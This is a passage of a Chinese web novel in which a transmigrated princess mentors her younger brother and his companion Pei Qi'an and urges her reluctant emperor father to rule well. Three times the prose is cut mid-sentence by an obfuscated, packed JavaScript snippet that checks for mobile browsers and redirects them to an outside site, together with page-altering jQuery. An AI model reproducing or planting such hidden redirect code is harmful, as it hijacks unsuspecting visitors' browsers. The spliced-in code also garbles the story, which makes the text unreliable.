他握着笔,手指收紧,又松开。几个来回后,他缓缓却又坚定地摇了摇头。然后,轻轻将那支毛笔,放回了赵锦辰摊开的掌心中。 “殿下。”他开口,声音已不似刚才那般平静,有些低哑,“不必如此。” 听着他的声音,赵锦辰睁开眼,看看手中的笔,又看看裴祈安,有些着急,“哎呀!你干嘛呀?你……你是不是还在生我的气?肯定是了!你就打我十下吧,这样咱们就扯平了。” “也不算扯平吧。”赵锦瑜的声音插进来,此时她觉得自己一定像极了看好戏的人,她提醒道:“祈安昨夜可还写了二十遍的罚抄呢?你忘啦?” “啊?”赵锦辰瞬间蔫了,他扭回头,看向裴祈安的眼神中带上了祈求,“要不你打我二十下吧?三十下也成啊,就抵了那二十遍吧,我真的抄不完啊!” 裴祈安看着他急切的样子,那双总是深沉的眼眸里,似乎有极淡的无奈一闪而过。 他再次摇头,声音清晰:“不打,也不生气。”他顿了顿,似是找寻找合适的词,“殿下的歉意,我……收到了,我也,原谅殿下了。殿下,就忘记昨日吧。” “此话当真?”赵锦辰还是不大相信,他歪着头打量裴祈安的神情,好似……与方才是有些不一样了。 “当真。”裴祈安冲他极为认真地点了点头。 “呼——”那股郁结在胸口的气终于被呼出,赵锦辰只觉得浑身轻松,想到自己还余下的功课也不觉得烦心了,甚至还主动道:“今日太傅教的东西,我有些不懂,一会儿功课写完,你能和我在解释一遍吗?” 这也是这些日子来,赵锦辰头一回主动请教问题。 裴祈安似是觉得有些稀奇,眉梢微挑,难得出现了平日里瞧不见的神情,“当然,这是我的职责,殿下想问什么都行。” 赵锦瑜还是坐在那,两个小少年就站在自己面前,夕阳的余晖透过窗棂,将他们的身影拉长,交织在一起。 她没有说话,心中却涌起一股强烈的欣慰。 自己也太会教育孩子了吧! 不愧是曾经的社会主义接班人! 8. 第 8 章 隔日,午膳过后,赵锦瑜歪靠在榻上小憩,灵姝步履轻快地走了进来。 “公主,奴婢方才去打听了一下,册封的旨意已经下了。” 闻言,赵锦瑜睁开眼,瞬间来了精神,“父皇速度还挺快,都封了什么?” 灵姝脸上带着消息灵通的笑意,“先帝留下的几位年幼公主,暂未赐予封号,只是让养在她们自己母妃身边,待遇如从前一样。只有先帝的大皇子与大公主不同,先帝大皇子晋了亲王,封号温煦,大公主留了公主位,封号嘉和。两人仍旧住在宫里,等到了年岁,要定亲事了在赐宅院出宫。” 赵锦瑜心中了然,文靖帝这是在按部就班地完成昨日所说的安置,既是安抚,也是向朝臣们表明自己不会亏待先帝的子女。 她忽然想起昨日太后提及的,让她多与赵嘉宁,也就是如今的嘉和公主走动。 记忆中,仁景帝在位期间,各位皇子都有些瞧不上他们家这一旁支,故而原主也不太与其他兄弟姐妹玩闹,唯独赵嘉宁待她耐心和善,会在原主受人欺负时护着她,也会与她分享点心。如今自己占了这身子,于情于理,她这个做妹妹的,都该去探望一下。 “灵姝,你叫上清梧,一块儿去准备一份贺礼,要雅致不俗的。”赵锦瑜坐直身子,“一会儿咱们就去道贺。” “是,公主。”灵姝点头应下,立刻去准备。 锦华宫便是赵嘉宁之前的住所,而赵锦辰如今住的景阳宫却是赵嘉煦曾住的地方。 文靖帝继位后,原先是不想让他们姐弟迁动的,但赵嘉煦坚持要搬,还称没有先帝的儿子还住着景阳宫的道理。 对此,文靖帝也不勉强,便让他自己挑选一处新的住所。如今,赵嘉煦就住在距离锦华宫较近的凌云阁内。 锦华宫外打扫得干净,守门的宫人也十分恭敬。 进去通报不久,赵嘉宁便亲自迎了出来。 这是赵锦瑜来到这个世界后,第一次见她。上回元日宴,她不在,据说是感了风寒,身子不爽利。 今日,赵嘉宁穿着水碧色宫装,颜色清浅,衬得人十分温润。她面容并非绝色,但眉目舒展,气度从容,见到赵锦瑜,唇边便漾开一抹真切而雅致的笑意。 “阿瑜妹妹来了。”她不疾不徐地上前,自然地握了握赵锦瑜的手,说话间,还能听见一些轻微的鼻音,“外头冷,快进来坐。”语气亲昵又不失分寸。 赵锦瑜随着她步入正厅,厅内布置清雅,多宝阁上摆着不少书籍和雅玩,后面的墙上还挂着一幅水墨画,笔力遒劲,想必放到后世又会是一幅绝世名画。 “姐姐这儿可真是清雅怡人啊。”赵锦瑜落座,由衷感叹着。 “不过是让自己住着舒服些罢了。”赵嘉宁抬眼仔细看了看赵锦瑜,笑意加深,“有些日子不见,妹妹气度倒是越发沉稳了,越来越有一国公主的模样了。” 这话说得自然,仿佛对过去早已忘怀,只剩下姐姐对妹妹的关怀。 “对了。”赵锦瑜朝清梧与灵姝招手,示意她们将贺礼呈上,又看向赵嘉宁,笑容恬静道:“妹妹今日来,除了找姐姐说说话外,也是来向嘉和公主道喜的。” 赵嘉宁微微一笑,神色了然,“此番册封,也是君恩。皇叔厚待,给了我们姐弟体面,我们既受领了,也当不辜负这份恩典。” 两人又聊了些日常,从宫中起居,到近日在读的书。言谈间,赵锦瑜细细感受着,她这位姐姐,思路清晰、见识不俗,绝非困于深闺的庸碌女子。 正说着话,殿外便来了通传,赵嘉煦来了。 一阵略显深浅不一,但节奏平稳的脚步声,伴随着少年清朗又稍显低沉的嗓音一同响起,“今日课业结束得早,我来寻阿姐说说话。” 话音刚落,一个身着玄青色锦袍的少年便出现在了门口。赵嘉煦十二岁的年纪,面容已脱稚气,眉宇间带着一股超越年龄的沉静。 他显然没料到殿内有客,看到赵锦瑜时,脚步顿了一下,随即脸上浮起一抹和煦的笑容,拱手道:“不知锦瑜皇姐在此,臣弟冒昧了。” 赵嘉煦是第二回见了,只是上回元日宴时,她的注意力全在裴祈安身上,没有注意过他。 收回打量的视线,赵锦瑜冲他浅浅一笑,“无妨。” “嘉煦来坐吧。”赵嘉宁朝他招手,“你锦瑜皇姐,也是来同我说话的。” 赵嘉煦这才继续上前,他的仪态很好,虽有腿疾,但不论行礼还是站姿,都令人无可挑剔,只是在落座时动作比常人稍慢些。 “今日功课这么早就结束了?”赵嘉宁看着弟弟,眼神里满是温柔。 自从两年前腿受伤后,赵嘉煦便不去上书房了,而是在自己宫内由专人教导。文靖帝继位后,仍为他保留了此项特权。 “是。”赵嘉煦点点头,“今日进度比平日快些,结束得早,师傅便让早些休息了,故而这才得闲来瞧瞧阿姐。” 话落,赵嘉煦才转向赵锦瑜,笑容真诚道:“也有些日子未见锦瑜皇姐了,皇姐一切安好?” “一切都好。”赵锦瑜回以微笑,“还未恭贺嘉煦晋封温煦亲王呢,实在是喜事。” 赵嘉煦微微欠身,“谢皇姐挂念,是皇叔恩典,嘉煦愧不敢当,唯有静心读书,修身养性,方不辜负圣恩。”稍作停顿后,他仿佛想起什么,语气依然平和自然,“说起来,前些日子皇姐在元日宴上救下的那位裴尚书家的公子,如今留下来做了皇弟的伴读,可还适应?” 话题十分自然地从自身的侧身,转到了赵锦瑜最近的“善举”上,想来是不太想提及自己身份的变化。 “对啊。”经他这么一提,赵嘉宁也想起了这事,转向赵锦瑜道:“那日我不在,也是事后才听人提及这事的,阿瑜真是做了件好事。” “碰巧遇见罢了。”赵锦瑜笑容不变,语气轻松,“那孩子可怜,又与锦辰投缘,再加上父皇母后仁厚,才得成全此事。至于适应……毕竟是初来乍到,总需要些时日。锦辰性子跳脱,有个伴读在身旁,也能相互敦促。” 赵嘉宁在一旁静静听着,对于裴祈安从前的处境,她也听说过一些,最后才点了点头,“也是个两全其美的好事。” 又坐了片刻,赵锦瑜便起身告辞。 赵嘉宁姐弟一同将她送到门口,离开前,赵嘉宁还拉着她道:“阿瑜平日若得空,就多来我这坐坐,多去几年,难得相见,咱们姐妹,往后就多走动。” 这话说得亲切,带着一丝对过往疏离的惋惜,也有对未来亲切的期望。 赵锦瑜觉得,她的邀请是真诚的,对自己的态度也非虚情假意。或许,在失去一些东西后,她也希望在这宫廷中,能有更稳固、更真切的亲情联系。 “姐姐不嫌我唠叨就好,我定常来。”赵锦瑜笑着应下,“那我便先走了。” “妹妹慢走,得空再来。” 赵嘉煦躬身行礼,“锦瑜皇姐慢走。” 离开锦华宫,赵锦瑜的心情比来时多了几分暖意,却也添了几分思量。 与她而言,赵嘉宁无疑是位不错的“姐姐”,在这深宫能多一份真心实意的姐妹情谊,也能让她如今稍显平淡的生活变得有趣些。只是赵嘉煦此人……她还看不太透。赵锦瑜能感觉到他对自己的态度,礼貌、恭敬,却又有些疏离。 不过再仔细一想,原主与他的交情本也不多,再加上曾经的他,也是身处云端的人,如今从云端跌落,心中哪怕有些不爽利也是正常的。 赵锦瑜轻轻摇了摇头,他的那条腿与原主一家沾染不上一丝关系,再怎么样,也怪不到他们头上来。 她将这些纷杂的思绪暂且压下,无论如何,路要一步一步走,关系也要一点一点经营。目前看来,想要在这个时代好好活下去,一是要防止裴祈安走歪,二是要拥有自己靠得住的人。 靠得住的人…… 赵锦瑜默默思索着,除去目前可以拉近关系的赵嘉宁姐弟,最能让自己靠得住的,好似就是龙椅上那位了。 原书中,对文靖帝的描述并不多,但通过那极少的笔墨,赵锦瑜也能察觉到,他作为一位被硬推上来的皇帝,不是很能应对朝堂。 眼下国家还算太平,可万一哪天……不太平了呢? 想到这里,原本平静的心绪,又乱了起来。 当天夜里,她甚至还做起了梦。 梦中,她将裴祈安教育得很好,也改变了自己一家的命运。可画面一转,朝堂愈发腐朽,边关告急的文书接踵而至,将弱兵颓,国库空虚。朝堂上日日吵得不可开交,而这些模糊的脸孔,最终汇聚成一道冷酷的声音:“为保国安,唯有和亲。” 之后的画面,便是文靖帝在不舍,也只得将身着华丽嫁衣的她,推上往塞外的车马,嫁给一个完全可以当她祖父的人。而她的结局,就是在异乡迅速枯萎,香消玉殒,闭眼前还在望着家乡的方向。 “不——!” 赵锦瑜猛地惊醒,后背沁出了一层冷汗。清醒过来后,她轻拍着自己狂跳的心口。 太可怕了…… 这当个公主风险也太高了…… 不能这样被动地生活着了,既然龙椅上坐的那位是疼爱她的亲爹,既然自己的命运已经和这个国家死死绑在一起了…… 她深吸一口气,心中已然下了决心——她、要、鸡、爹!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201999|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无论用什么样的方式,潜移默化也好,迂回献策也罢,她一定要用自己在现代的毕生所学,帮他父皇把这把龙椅坐得更稳,让这个国家变得更硬气! 之后,赵锦瑜一直没睡,精神也异常亢奋。 她早早起来梳妆、用膳,在早朝散后,便起身前往勤政殿。 冬日清晨的寒气凛冽,她却走得步步生风。 殿外值守的内侍见公主这么早就来了,有些讶异,却不敢怠慢,请安后忙进去通禀。等了片刻,便躬身引她入内。 勤政殿内弥漫着淡淡墨香,文靖帝正坐在宽大的御案后,一只手无意识地捻着奏折的边角,眉心蹙成了一个浅浅的“川”字。 “儿臣给父皇请安。”直到赵锦瑜出声后,文靖帝也恍然回神,抬眼见到闺女,眉头才舒展了些,又露出平日里面对她的笑容,“快免礼,阿瑜怎么想起这个时候过来?” 他的笑容依旧慈爱,但赵锦瑜看得分明,那笑意掩盖下的眼底,是挥之不去的疲倦。 赵锦瑜没有立刻回答自己的来意,而是走上前几步,在离御案不近不远的地方停下,关切的目光随即落在文靖帝脸上,轻声问:“父皇脸色似乎有些疲惫,可是有什么事让您烦心了?” 文靖帝闻言,轻轻叹了口气,“北边冬旱,恐生饥荒,请求调拨钱粮的折子来了一堆,工部又报南边有年久失修想要修缮的河道,还有……”他顿了顿,似乎觉得这些朝政琐事不该多与女儿说,便摆了摆手,“不说也罢,也不是些太大的事,只是凑在一处,难免让人头疼。” 虽未详细说,却也将那份力不从心的烦闷传递了出来。 赵锦瑜心下了然,面上露出恰到好处的体贴神色,“朝政大事儿臣不懂,但看父皇如此辛劳,儿臣心里也是难安。”话说到这,她顿了顿,像是忽然想到一个绝妙的主意,“不如……儿臣留在这陪父皇吧?左右儿臣也没什么事,我就安安静静在那边榻上看会儿书,权当陪父皇了,父皇处理公务闷了,也能与儿臣说说话解乏。” 文靖帝看着她清澈的眼眸,心中那团郁气总算散了些,“你呀,想待便待着吧,只是这儿枯燥得很,父皇怕你闷着。” “不闷不闷!”赵锦瑜立即接话,仿佛自己真的只是一个单纯想要黏着父亲的小女儿,“能陪着父皇才不闷的,更何况,说不准还能听父皇说一些朝政趣事呢。” “朝政上哪儿来的趣事呀。”文靖帝脸上的笑容终于真切了几分,可转瞬即逝,一股淡淡的忧愁又莫名顶了上来,他轻叹一口气,开始吐露真言,“不瞒阿瑜,近些日子来,父皇实在是太怀念从前咱们一家子在王府的日子了,多么自在呀。早知道,我当初就该咬死了不答应,让他们另寻高明去。” “没有早知道!”赵锦瑜心中警铃大作,这可不行!这种念头,简直就是准备摆烂的前兆!要是放任这种情绪蔓延,就等着噩梦成真吧! 她带着一脸不容置疑的坚定,打断了文靖帝沉浸式的追悔,“父皇!” 文靖帝被她那突然提高的声音和严肃的表情弄得一怔,一时间忘了反应。 赵锦瑜又前往两步,目光直视着他,语气放缓,却字字清晰,“父皇,世间哪有‘早知道’呀?事已至此,江山已握,天下万民已经成为了您的子民,此刻再说‘当初’,只会徒增烦恼。咱们一家既然被推上了这个位置,就得尽这个位子的责任,咱们做得好,黎民百姓才能过得幸福。儿臣记得,从前在王府时,就听父皇提过百姓的生活没看起来那么好。如今,父皇已经有了能让百姓生活变得更好的机会,为何不试试呢?” 她的话,将文靖帝对过往安逸生活的怀念,与他本性中的仁善巧妙地联系了起来。 文靖帝沉默良久,似乎也想到了从前自己的自己。慢慢的,他的眼眸变得沉静,他缓缓呼出一口气,再开口时,声音里多了几分郑重与决心,“阿瑜说得对,是父皇一时失言了。既在其位,就当尽其心。这条路虽是难了些,但……上了,总得走下去。” 赵锦瑜松了口气,刚觉得“鸡爹”初见成效,正想趁热打铁再鼓励两句,就见文靖帝脸上又出现一种如释重负、近乎轻松的笑意。 “父皇就在撑几年,等锦辰再大些,能独当一面了,我就将这个担子交给他去。到时,父皇就能带着你母后,找个山清水秀的地方,好好享福去咯!” 话音刚落,文靖帝眼中已经流露出了憧憬之色,仿佛那逍遥的好日子已经在眼前了。 “……?”赵锦瑜差点一口气没提上来。 赵锦辰? 那个不爱写功课,只想着吃的浑小子…… 救命啊,竟然把他给忘了…… 9. 第 9 章 接下来几日,赵锦瑜如同最守时的朝臣,几乎每日早朝后不久,便带着书卷,准时出现在勤政殿内。 她不主动打扰,只在文靖帝蹙眉叹息,或是低声流露出迟疑时,才会恰到好处地出声,有时能让他专注,有时能无形中帮他解困。 她的在场,似乎成了一种无形的提醒与抚慰。几日下来,文靖帝的状态确实有了微妙的变化。从最初有些被推着走,到会主动延展问题,连带着每日批阅奏折的时间都变长了。 激发基本责任感这一目标,算是暂时达成了。 然而,赵锦瑜心中的弦并未放松。 好些日子了,她都没去看过裴祈安和赵锦辰。从前她还天真地认为只需要关注裴祈安一人就好,但在那日文靖帝“传位”的言论过后,她忽然觉得,赵锦辰也是一个很大的风险。 历史的教训告诉她,储君的培养失败,也会让眼前短暂的安稳化为泡影。 于是,这一日她提前吩咐清梧备好点心,在上书房散学后,便找由头离开勤政殿,往景阳宫去了。 门一开,她一眼就瞧见赵锦辰懒散地趴在书案上,嘴里不知在嘟囔着什么。反观裴祈安,背脊挺得很直,正端正地写着字。两者一看,就形成了鲜明的对比。 赵锦瑜忍不住摇了摇头,故意清了清嗓子,扬声问道:“锦辰,趴着做什么呢?” 这声音来得突然,惊得赵锦辰一个激灵,猛地抬起头,脸上还带着压出的红印。 他眼睛瞬间亮了,从椅子上下来,跑到赵锦瑜身边拽住她胳膊,“阿姐,你好几日没来看我啦!我可想你了。” 与此同时,裴祈安也停下了笔,抬头望来时,那双一向平静的眸中,极快掠过一丝亮色。他从容起身,拂了拂并无褶皱的衣袖,对着赵锦瑜乖巧道:“阿姐来啦。” “是。”赵锦瑜温柔一笑,“有几日没来了,便想着来看看你们。”说罢,目光又落回赵锦辰身上,“说说吧,刚才在做什么?研究书案上的木纹吗?” “才不是呢!”赵锦辰连忙辩解,“我那是在背书,我……我趴着背记得牢嘛。” “真的?背书?”赵锦瑜眉梢微挑,“那我怎么没见祈安背书?” 不等裴祈安回答,赵锦辰立刻将话头抢了过去,声音里还带着点小小的不服气,“那是因为他已经背完了!他背书可快了,读两遍就背熟了。” 赵锦瑜视线又转回裴祈安脸上,带着询问的笑意,似乎在向他确认赵锦辰所言是否属实。 接触到她的视线,裴祈安长睫微垂,随即点了点头,声音平稳道:“回阿姐,殿下没说谎,今日的确有篇章要背诵。” 得到裴祈安的证实,赵锦瑜仿佛才相信了赵锦辰的说法,莞尔一笑,“那就当姐姐错怪你了。” 赵锦辰却撇撇嘴,傲娇地扭过脸,“当然错怪我了,阿姐就是不相信我。” “因为你有前科啊。”赵锦瑜笑着揉了揉他的发顶,顺势又在最近的椅子上坐下,开始询问起两人的功课来。 赵锦辰答得还有些磕绊,但大体内容还是知道的,只是不够精熟。而裴祈安则条理清晰,甚至在某些话题上还能引申发挥,见解颇有超出年龄的深度。 在他答完后,不仅赵锦辰惊得张大了嘴,连赵锦瑜都觉得,今日的裴祈安要比往常多了不少话。 她默默想着,大约是太傅今日教了他感兴趣的课题。 思绪刚停,她又注意到赵锦辰似乎吸了很多下鼻子,再仔细一瞧,才发现他鼻尖也有些红,立马问道:“怎么了?鼻子不舒服?” 赵锦辰抬手揉了揉鼻子,闷声道:“大约是有些伤风,鼻子堵堵的。” 赵锦瑜闻言,十分自然地伸出手,先用手背贴了贴他的额头,又用手心轻轻摸了摸他的脸蛋,仔细感受了片刻,才松了口气,“还好,没有发热。”转头又对候在门边的清梧道:“去一趟太医那,让开些温和的药剂,趁早压下去,别严重了耽误念书。” 听到要喝药,又听到“耽误念书”,赵锦辰瞬间小脸一垮,气鼓鼓地嘟囔,“阿姐如今怎么比父皇母后还啰嗦了!从前也没见阿姐这么盯着我念书呀。” 赵锦瑜只是浅浅一笑,没回复他孩子气的话语。 但她没有注意到,在她温柔地触摸赵锦辰,专注地检查他是否发热时,一旁的裴祈安,目光一直静静地落在她手上。深沉的眸光中,看不出一丝情绪。 赵锦瑜又坐了一会儿,直到赵锦辰将功课全部完成,两人要温习明日的课程了,她才起身离开。 等她走后,书房里似乎比往日还要静一些。 赵锦辰倒是没察觉到什么,在裴祈安无声的督促下,也是将该温习的书温完了。 待全部结束后,窗外天色已然变黑。 不知何时,窗外开始飘起了淅淅沥沥的春雨,带着初春特有的寒意。 “下雨了?”赵锦辰走到窗边看了看,转头对正在收拾的人道:“裴祈安你等等,我让人给你拿把伞再回去。” 裴祈安也望向窗外,雨丝细密,在廊下灯笼的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202000|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕中泛着金光,并不算大。 良久,他收回目光,对赵锦辰道:“不用了殿下,雨势尚小,我住得近,不必麻烦了。” 赵锦辰又探头仔细瞧了瞧,确实还不大,路面也没怎么湿,像是刚开始下,便也没再坚持,“好吧,那你回去走快些,小心一会儿下大了淋到。” “是。”裴祈安应下,像赵锦辰行礼告退。 走出温暖的书房,初春的寒气立刻包裹上来。 裴祈安没有像赵锦辰说的那样“走快些”,反而独自一人,步履平稳地走在宫道上,到后来,甚至有些缓慢。细雨也在无声中更加细密,很快,他的发梢、肩头乃至衣摆都被雨水浸透了。可他仿佛浑然不觉,既未加快脚步,也未试图用手遮挡。 等他终于回到崇文轩时,外袍早已湿透,紧贴在身上,发梢也在不断滴下水珠。 顺安正在檐下等着,见状吓了一跳,赶忙迎了出来,“公子,怎么淋成这样?见天下雨,福喜已经在备热水了,这会儿应是快好了。公子快些去沐浴更衣,可别着了凉。”边说边引他入内,屏风后果然已经放好了一个热气腾腾的浴桶。 福喜正朝里填着最后一桶水,瞧见他这副模样,没忍住“哎哟”一声,“我的小公子,怎么都湿透了呀?身子可有不适?” “无事。”裴祈安朝他们摆摆手,声音因为寒冷而有些低哑,“你们不用忙了,出去歇着吧,我自己来。” 跟了裴祈安有一阵子了,他们二人也知晓了他的性子,沐浴时不喜人贴身伺候,只得退了出去。 屋内轻轻合上,只剩下他一人,和那桶还冒着热气的水。 他没有立刻动作,而是朝窗户走去,没有打开,听着窗外渐渐转急的雨声,静静站了片刻。 冰冷的湿衣贴在皮肤上,实在是不舒服,可心中那份隐隐的期待,竟盖过了身体上的不适。 过了好一会儿,他才慢条斯理地开始解开发带,褪下湿透的外袍,紧接着是中衣…… 每个动作都是不疾不徐的,直到最后一件衣物落地,他才踏入浴桶。 水已然温凉,他缓缓沉入水中,闭着眼,凉意让他微微蹙眉,但很快,眉宇又舒展开来。他就这样泡在越来越凉的水中,一动不动,仿佛一座感知不到温度的玉石雕像。 没人知道他此刻在想什么,不知过了多久,或许是察觉到水已彻底凉透,他才缓缓睁眼,眸光在昏暗的光线下显得格外幽深,而那一直抿着的唇,却在不知不觉中,极其轻微地向上勾起了一个弧度。 10. 第 10 章 一场春雨淅淅沥沥下了一夜,终于在清晨时停下了。 赵锦瑜刚梳妆完,打算继续去勤政殿“监工”,就见清梧走了进来,脚步比平日急了几分。 “公主,方才裴公子身边的顺安传来话,说是裴公子今日告了假,没去上书房。” “告假?”赵锦瑜追问:“什么缘故?” 清梧垂首,“听说是昨夜淋了雨,想必是因此发了热,今早头昏沉沉的,人也不太清醒,顺安还说……”她压低声音,继续道:“裴公子嘴里喃喃叫着‘阿姐’,他思来想去,这才来玉芙宫通报了一声。” 赵锦瑜眉心微微蹙起,又想到当初裴祈安落水一事,也是高热不退,本就身子骨不好,这回怎么又淋上雨了呢? 她忙问:“传太医了吗?” 清梧回道:“传了,顺安与福喜两人分开,一人来了玉芙宫,一人去了太医院,想必此刻太医应是到了的。” “好。”赵锦瑜点了点头,立刻又道:“我要去看看他,先不去勤政殿了,改去崇文轩。” 到崇文轩门口时,恰巧碰见刚离开的太医,来的仍旧是上一回医治裴祈安的李太医。 “参见公主。”李太医忙躬身行礼。 赵锦瑜抬手止住,语速比平日快了几分,“李太医,裴公子怎么样了?” “回公主,裴公子是风寒入体,这才发了热,臣已经开了方子,按照方子服药,静养几日便能好。”李太医观察着她的神色,接着又说:“不过依臣看来,比起之前,裴公子的身子骨已经养好了许多,也不似从前那么瘦弱了,再养些时日,今后应是不会那么容易生病了。” “那就好。”赵锦瑜颔首。 院内,福喜正拿着方子准备去安排宫女煎药,就见大公主来了。 “奴才见过公主。”他忙道。 赵锦瑜瞧了眼他手里的方子,摆摆手道:“你去忙你的吧,我进去看看他。” “是,公主。”福喜立刻福身退下。 赵锦瑜快步朝内走去,顺安在门口候着,见公主来了也是行礼。 “他怎么样了?可有睡着?”她问。 顺安回:“回公主,公子方才醒了,如今应是歇着呢。” 赵锦瑜微微颔首,转身对身后的人道:“清梧也在门口候着吧,我自己进去。” “是。”清梧与顺安两人识趣地退后几步,立在门外。 赵锦瑜推门入内,这是她第一次踏入裴祈安的内寝。 屋内光线有些昏暗,赵锦瑜绕过屏风,视线在里头快速扫了一圈,然后落在榻上。 裴祈安正安安静静地躺着,像是又睡着了,被褥盖到胸口,一只手搭在胸口,另一只手在被褥外侧。他的眼睛闭着,眉头也没能完全舒展,嘴唇抿成一条直线,瞧着就是不舒服的模样。 她走过去,在榻边轻轻坐下。 赵锦瑜目光从他微红的脸颊,移到额头。下一秒,她就伸手,极轻地朝那探了探。 还有些烫,但比想象中好些。 就在她准备伸回手时,榻上的人动了动。 裴祈安缓缓睁开眼,那双眼先是茫然,像是对此刻的经历有些摸不着头脑,紧接着代替而来的便是意外的惊喜。 “阿姐?”因病着,这一声极轻极哑,“阿姐怎么来了?” 他问着,眼睛却一瞬不眨地望着她。 赵锦瑜收回手,语气淡淡的,“听说有人昨日淋了雨,第二日便起不来床了,所以才来瞧瞧。” 裴祈安垂下眼帘,长睫投下一小片阴影。他没有辩解,只是极轻地弯了弯唇角,那弧度带着点虚弱,和一丝示弱。 他缓缓道:“是祈安不好,让阿姐担心了。” 赵锦瑜看着他,面色还很苍白,唇上也没有血色。平日里素来沉稳的模样不见半分,此刻在她面前的人,疲惫、虚弱、还有些需要人疼的可怜劲儿。 赵锦瑜想起方才李太医那话,约莫还是体质不够好,才会那么容易生病。 她又想起原书中的裴祈安,文武兼备,甚至武更甚文。但他开始习武其实很晚,是十二岁以后的事了,因在裴家备受压制,幼时根本接触不到,当他自己有意识后,只能在无人知晓的深夜偷偷习武,并将自己的锋芒藏得严严实实。 如今都不必了,若是真为了他好,该让他早拥有这一切。 “祈安。”片刻的沉默后,赵锦瑜轻启唇问:“若我想让你与锦辰一同开始习武,你可愿意?” “习武?”裴祈安神情微微一怔。 “是。”赵锦瑜看着他,“不只是学个花架子,而是正经学,强身健体是其一,让自身多些本事更是关键。你们如今正是习武的好年纪,只是父皇擅文不懂武,没太关注这方面,若你愿意,我今日便去同他提,定为你们寻位好师傅来。” 裴祈安没有立刻回答,他望着她,在睫毛轻轻颤动后,抿了抿唇开口:“我愿意,阿姐想让我学,我便学。” “笃笃——” 轻轻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202001|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲门声想起,门外传来顺安小心的声音,“公主,公子的药煎好了,需要奴才现在端进来吗?” “进来。”赵锦瑜朝外道。 顺安推门而入,端着药绕过屏风,又将药碗放下,低声道:“如今已不是很烫了,还请公子趁热喝。”说罢,又转向赵锦瑜,“那公主,奴才就先退下了?” “去吧。”赵锦瑜摆摆手,而后目光看向那碗药,褐色的药汁还冒着热气,这样的距离就能闻到其中的苦涩。她端起碗,用瓷勺搅了搅,然后递给裴祈安,“趁热喝了。” 裴祈安轻“嗯”一声,接过药碗,一口气喝完,连眉头都没有皱一下。 他将俯身将空碗放下,重新起身想说什么,忽然,感受到一只手落在他的发顶。 很轻,很暖,带着女子特有的柔软。 裴祈安整个人僵住了,瞬间不知该做何反应。 那只手在他发顶停留了一瞬,时间不长不短,带着安抚的力道,轻轻揉了揉。 “好好养身子。”赵锦瑜的声音从头顶传来,“身子骨也太弱了些,以后可不能再病倒了,阿姐可等着我们祈安长大,成为顶天立地的男子汉,好来保护阿姐呢。” 裴祈安依旧没动,甚至忘了呼吸。 等他反应过来时,那只手已经收了回去,可那股温暖仿佛还留在发顶,像是有法术一般,一直暖到心底。 再抬头,赵锦瑜已然恢复了方才的姿势,手搭在榻边,神色温柔地看着自己。 “阿姐。”他张开嘴,声音有些发紧。 见他没继续说,赵锦瑜“嗯”了一声,静静等着他的下文。 “以后不会了。”声音又轻了几分,赵锦瑜反应了一会儿,才意识他说的是,以后不会再病倒了。 “好——”她拖长音调,“那祈安就好好休息两日,等身子好了再去上书房。习武一事,我会去安排。” 说完,赵锦瑜起身,准备离开,“明日我再来看你,到时可得比今日好些才行啊。” 裴祈安抬头望着她,郑重地点了点头,“祈安答应阿姐,一定会的。” 脚步声渐渐远去,屋内重归寂静。 裴祈安靠回枕头上,苍白的唇角缓缓弯起,不是往日那种克制的弧度。良久,他又往下缩了些,被角掩住下半张脸,没藏起来的双眸,能瞧出他此刻心情很好。 长大…… 从前并未想过长大以后的事,但…… 若是真能这样,他还挺期待长大的。 11. 第 11 章 赵锦瑜说到做到,不过三日,她便与文靖帝达成了一致。 文靖帝对子女向来宽厚,听闻女儿提议让皇子习武强身、磨砺身心,自然没有不允的道理。再者让伴读陪着一起,也好互相督促。文靖帝甚至觉得女儿思虑周全,比他自己还要会安排。 于是,习武一事便敲定了。 教习的师傅不是寻常人物,是现任带刀官沈溯,同时也是上一届的武状元。 听闻他当年殿前夺魁时,一手枪法使得出神入化,惊艳满朝。如今二十有二,正是当打之年,若是能由他来为裴祈安与赵锦辰启蒙,想必对他们二人今后的发展,会更加有利。 父女俩商量好人选后,文靖帝原是想直接下旨的,只是赵锦瑜给拦了下来。在了解后,她得知沈溯此人稍有些强者的傲气,为了让他能心甘情愿的倾囊相授,直接降旨并非是个好法子。 在她的建议下,文靖帝派身边的杨公公备了份厚礼,登门时又将话说漂亮。 杨公公回来赴命时喜笑颜开,称沈溯思忖片刻后,便应下了此事。 于是,赵锦辰与裴祈安的日常发生了些改变,每日散学后,还要接受沈溯亲自教习的一个半时辰,风雨无阻。 裴祈安自然无话,甚至还有些隐隐的期待。 只是另一人,就不那么高兴了。 事情定下来的那日,赵锦瑜亲自去了景阳宫将这一好消息告知了二人。 